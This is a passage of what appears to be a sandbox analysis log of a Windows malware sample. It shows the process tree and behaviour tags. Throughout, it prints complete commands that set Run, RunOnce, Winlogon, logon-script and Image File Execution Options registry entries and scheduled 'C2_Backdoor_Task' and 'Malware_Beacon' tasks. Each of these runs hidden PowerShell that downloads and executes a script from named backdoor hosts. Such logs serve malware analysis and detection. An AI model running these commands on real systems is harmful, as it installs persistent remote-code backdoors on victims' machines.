                                                                                                                                reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                                3⤵
                                                                                                                                • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                PID:6420
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                              2⤵
                                                                                                                                PID:7276
                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                                  3⤵
                                                                                                                                  • Modifies WinLogon for persistence
                                                                                                                                  PID:6304
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                2⤵
                                                                                                                                  PID:7392
                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                    3⤵
                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                    PID:7956
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                                  2⤵
                                                                                                                                    PID:7424
                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                      reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                                      3⤵
                                                                                                                                      • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                      PID:6820
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                    2⤵
                                                                                                                                      PID:7528
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                        3⤵
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:1424
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                      2⤵
                                                                                                                                        PID:7656
                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                          schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                          3⤵
                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                          PID:6768
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                        2⤵
                                                                                                                                          PID:7672
                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                            schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                            3⤵
                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                            PID:2340
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                          2⤵
                                                                                                                                            PID:8000
                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                              3⤵
                                                                                                                                              • Adds Run key to start application
                                                                                                                                              PID:7212
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                            2⤵
                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                            PID:8100
                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                              3⤵
                                                                                                                                              • Adds Run key to start application
                                                                                                                                              PID:7448
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                            2⤵
                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                            PID:8184
                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                              3⤵
                                                                                                                                              • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                              PID:6916
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                            2⤵
                                                                                                                                              PID:6384
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                                3⤵
                                                                                                                                                • Modifies WinLogon for persistence
                                                                                                                                                PID:7408
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                              2⤵
                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                              PID:3816
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                                3⤵
                                                                                                                                                • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                PID:2732
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                              2⤵
                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                              PID:6556
                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                3⤵
                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                PID:7336
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                              2⤵
                                                                                                                                                PID:7632
                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                  schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                  3⤵
                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                  PID:7308
                                                                                                                                              • C:\Windows\System32\schtasks.exe
                                                                                                                                                "C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "'Rookie"' /tr "'C:\Users\Admin\AppData\Roaming\Rookie.exe"'
                                                                                                                                                2⤵
                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                PID:2392
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpEE6D.tmp.bat""
                                                                                                                                                2⤵
                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                PID:2068
                                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                                  timeout 3
                                                                                                                                                  3⤵
                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                  PID:3776
                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Rookie.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Rookie.exe"
                                                                                                                                                  3⤵
                                                                                                                                                  • Checks computer location settings
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Reads the TCP/IP host and domain name from the registry
                                                                                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                  PID:6356
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                    4⤵
                                                                                                                                                      PID:4000
                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                        5⤵
                                                                                                                                                        • Adds Run key to start application
                                                                                                                                                        PID:3360
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                      4⤵
                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                      PID:7132
                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                        5⤵
                                                                                                                                                        • Adds Run key to start application
                                                                                                                                                        PID:7752
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                      4⤵
                                                                                                                                                        PID:5944
                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                          5⤵
                                                                                                                                                          • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                          PID:4500
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                        4⤵
                                                                                                                                                          PID:7520
                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                            5⤵
                                                                                                                                                            • Modifies WinLogon for persistence
                                                                                                                                                            PID:1380
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                          4⤵
                                                                                                                                                            PID:7768
                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                              reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                              5⤵
                                                                                                                                                              • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                              PID:6036
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                            4⤵
                                                                                                                                                              PID:7324
                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                5⤵
                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                PID:5212
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                              4⤵
                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                              PID:4344
                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                5⤵
                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                PID:6256
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
                                                                                                                                                              4⤵
                                                                                                                                                                PID:2664
                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
                                                                                                                                                                  5⤵
                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                  PID:7500
                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:4520
                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
                                                                                                                                                                    5⤵
                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                    PID:4436
                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                  PID:7432
                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
                                                                                                                                                                    5⤵
                                                                                                                                                                    • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                    PID:5780
                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:3320
                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
                                                                                                                                                                      5⤵
                                                                                                                                                                      • Modifies WinLogon for persistence
                                                                                                                                                                      PID:7472
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:7116
                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                                                                        5⤵
                                                                                                                                                                        • Adds Run key to start application
                                                                                                                                                                        PID:7852
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
                                                                                                                                                                      4⤵
                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                      PID:6740
                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
                                                                                                                                                                        5⤵
                                                                                                                                                                        • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                        PID:176
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:7452
                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                                                                          5⤵
                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                          PID:1252
                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:8164
                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:2340
                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                                                                              5⤵
                                                                                                                                                                              • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                              PID:2240
                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                            4⤵
                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                            PID:7952
                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                              schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                              5⤵
                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                              PID:7144
                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:7964
                                                                                                                                                                              • C:\Windows\system32\reg.exe
